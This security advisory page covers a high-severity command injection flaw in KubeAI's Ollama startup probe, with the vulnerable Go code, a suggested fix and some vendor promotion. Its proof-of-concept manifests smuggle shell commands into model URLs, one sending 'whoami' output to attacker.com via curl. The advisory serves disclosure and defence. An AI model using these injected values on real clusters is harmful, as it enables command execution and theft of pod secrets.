GHSA-324q-cwx9-7crr — kubeai
HIGHGHSA-324q-cwx9-7crr is a high-severity (CVSS 8.7) OS Command Injection vulnerability in github.com/kubeai-project/kubeai. A fix is available for github.com/kubeai-project/kubeai — see the affected versions and patch details below.
KubeAI: OS Command Injection via Model URL in Ollama Engine startup probe allows arbitrary command execution in model pods
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-324q-cwx9-7crr.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-324q-cwx9-7crr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/kubeai-project/kubeaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
CHAMP: Description
Summary
The ollamaStartupProbeScript() function in internal/modelcontroller/engine_ollama.go constructs a shell command string using fmt.Sprintf with unsanitized model URL components (ref, modelParam). This shell command is executed via bash -c as a Kubernetes startup probe. An attacker who can create or update Model custom resources can inject arbitrary shell commands that execute inside model server pods.
Details
The parseModelURL() function in internal/modelcontroller/model_source.go uses a regex (^([a-z0-9]+):\/\/([^?]+)(\?.*)?$) to parse model URLs. The ref component (capture group 2) matches [^?]+, allowing any characters except ?, including shell metacharacters like ;, |, $(), and backticks.
The ?model= query parameter (modelParam) is also extracted without any sanitization.
Vulnerable code (permalink):
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
startupScript := ""
if u.scheme == "pvc" {
startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.modelParam, m.Name)
} else {
if u.pull {
pullCmd := "/bin/ollama pull"
if u.insecure {
pullCmd += " --insecure"
}
startupScript = fmt.Sprintf("%s %s && /bin/ollama cp %s %s", pullCmd, u.ref, u.ref, m.Name)
} else {
startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.ref, m.Name)
}
}
// ...
return startupScript
}
This script is then used as a bash -c startup probe (permalink):
StartupProbe: &corev1.Probe{
ProbeHandler: corev1.ProbeHandler{
Exec: &corev1.ExecAction{
Command: []string{"bash", "-c", startupProbeScript},
},
},
},
Compare with the vLLM engine which safely passes the model ref as a command-line argument (not through a shell):
// engine_vllm.go - safe: args are passed directly, no shell involved
args := []string{
"--model=" + vllmModelFlag,
"--served-model-name=" + m.Name,
}
URL parsing (permalink):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
func parseModelURL(urlStr string) (modelURL, error) {
// ref = matches[2] -> [^?]+ allows shell metacharacters
// modelParam from ?model= query param -> completely unsanitized
}
There is no admission webhook or CRD validation that sanitizes the URL field.
PoC
Attack vector 1: Command injection via ollama:// URL ref
apiVersion: kubeai.org/v1
kind: Model
metadata:
name: poc-cmd-inject
spec:
features: ["TextGeneration"]
engine: OLlama
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
minReplicas: 1
maxReplicas: 1
The startup probe script becomes:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject && /bin/ollama run poc-cmd-inject hi
The injected id>/tmp/pwned command executes inside the pod.
Attack vector 2: Command injection via ?model= query parameter
apiVersion: kubeai.org/v1
kind: Model
metadata:
name: poc-cmd-inject-pvc
spec:
features: ["TextGeneration"]
engine: OLlama
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
minReplicas: 1
maxReplicas: 1
The startup probe script becomes:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc && /bin/ollama run poc-cmd-inject-pvc hi
Impact
- Arbitrary command execution inside model server pods by any user with Model CRD create/update RBAC
- In multi-tenant Kubernetes clusters, a tenant with Model creation permissions (but not cluster-admin) can execute arbitrary commands in model pods, potentially accessing secrets, service account tokens, or lateral-moving to other cluster resources
- Data exfiltration from the model pod's environment (environment variables, mounted secrets, service account tokens)
- Compromise of the model serving infrastructure
Suggested Fix
Replace the bash -c startup probe with either:
- An exec probe that passes arguments as separate array elements (like the vLLM engine does), or
- Validate/sanitize
u.refandu.modelParamto only allow alphanumeric characters, slashes, colons, dots, and hyphens before interpolating into the shell command
Example fix:
// Option 1: Use separate args instead of bash -c
Command: []string{"/bin/ollama", "pull", u.ref}
// Option 2: Sanitize inputs
var safeModelRef = regexp.MustCompile(`^[a-zA-Z0-9._:/-]+$`)
if !safeModelRef.MatchString(u.ref) {
return "", fmt.Errorf("invalid model reference: %s", u.ref)
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kubeai-project/kubeai | all versions | 0.23.2go get github.com/kubeai-project/kubeai@v0.23.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kubeai-project/kubeai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/kubeai-project/kubeai to 0.23.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-324q-cwx9-7crr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-324q-cwx9-7crr can be triaged on real exposure rather than presence alone.
Tailored to GHSA-324q-cwx9-7crr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-324q-cwx9-7crr in your dependencies?
O3 Security finds GHSA-324q-cwx9-7crr across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.